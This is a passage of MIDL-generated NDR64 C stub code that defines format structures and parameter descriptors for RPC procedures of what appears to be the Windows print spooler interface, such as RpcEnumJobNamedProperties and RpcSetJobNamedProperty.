_NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_MEMPAD_FORMAT frag32;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag33;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag34;\n    } frag2;\n}\n__midl_frag49_t;\nextern const __midl_frag49_t __midl_frag49;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag48_t;\nextern const __midl_frag48_t __midl_frag48;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n}\n__midl_frag47_t;\nextern const __midl_frag47_t __midl_frag47;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_MEMPAD_FORMAT frag22;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n    } frag2;\n}\n__midl_frag40_t;\nextern const __midl_frag40_t __midl_frag40;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag39_t;\nextern const __midl_frag39_t __midl_frag39;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag37_t;\nextern const __midl_frag37_t __midl_frag37;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag36_t;\nextern const __midl_frag36_t __midl_frag36;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag35_t;\nextern const __midl_frag35_t __midl_frag35;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag32_t;\nextern const __midl_frag32_t __midl_frag32;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag17_t;\nextern const __midl_frag17_t __midl_frag17;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag2_t;\nextern const __midl_frag2_t __midl_frag2;\n\ntypedef \nNDR64_FORMAT_UINT32\n__midl_frag1_t;\nextern const __midl_frag1_t __midl_frag1;\n\nstatic const __midl_frag1091_t __midl_frag1091 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1089_t __midl_frag1089 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag1088_t __midl_frag1088 =\n{ \n/* Proc116 */\n    { \n    /* Proc116 */      /* procedure Proc116 */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_0 */      /* parameter arg_0 */\n        &__midl_frag1089,\n        { \n        /* arg_0 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag1091,\n        { \n        /* arg_1 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag1091,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1087_t __midl_frag1087 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1086_t __midl_frag1086 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag1085_t __midl_frag1085 =\n{ \n/* *__int3264 */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1086\n};\n\nstatic const __midl_frag1084_t __midl_frag1084 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag1083_t __midl_frag1083 =\n{ \n/* Proc115 */\n    { \n    /* Proc115 */      /* procedure Proc115 */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_0 */      /* parameter arg_0 */\n        &__midl_frag1084,\n        { \n        /* arg_0 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag1086,\n        { \n        /* arg_1 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag1087,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1082_t __midl_frag1082 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1081_t __midl_frag1081 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag1080_t __midl_frag1080 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1081\n};\n\nstatic const __midl_frag1079_t __midl_frag1079 =\n{ \n/* Proc114 */\n    { \n    /* Proc114 */      /* procedure Proc114 */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_0 */      /* parameter arg_0 */\n        &__midl_frag1080,\n        { \n        /* arg_0 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag1082,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1076_t __midl_frag1076 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1082\n};\n\nstatic const __midl_frag1072_t __midl_frag1072 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag1071_t __midl_frag1071 =\n{ \n/* RpcEnumJobNamedProperties */\n    { \n    /* RpcEnumJobNamedProperties */      /* procedure RpcEnumJobNamedProperties */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pcProperties */      /* parameter pcProperties */\n        &__midl_frag1082,\n        { \n        /* pcProperties */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppProperties */      /* parameter ppProperties */\n        &__midl_frag1082,\n        { \n        /* ppProperties */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1068_t __midl_frag1068 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1081\n};\n\nstatic const __midl_frag1065_t __midl_frag1065 =\n{ \n/* RpcDeleteJobNamedProperty */\n    { \n    /* RpcDeleteJobNamedProperty */      /* procedure RpcDeleteJobNamedProperty */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszName */      /* parameter pszName */\n        &__midl_frag1081,\n        { \n        /* pszName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1060_t __midl_frag1060 =\n{ \n/* RpcSetJobNamedProperty */\n    { \n    /* RpcSetJobNamedProperty */      /* procedure RpcSetJobNamedProperty */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pProperty */      /* parameter pProperty */\n        &__midl_frag1082,\n        { \n        /* pProperty */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1052_t __midl_frag1052 =\n{ \n/* RpcGetJobNamedPropertyValue */\n    { \n    /* RpcGetJobNamedPropertyValue */      /* procedure RpcGetJobNamedPropertyValue */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszName */      /* parameter pszName */\n        &__midl_frag1081,\n        { \n        /* pszName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pValue */      /* parameter pValue */\n        &__midl_frag1082,\n        { \n        /* pValue */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1051_t __midl_frag1051 =\n{ \n/* Opnum109NotUsedOnWire */\n    { \n    /* Opnum109NotUsedOnWire */      /* procedure Opnum109NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct 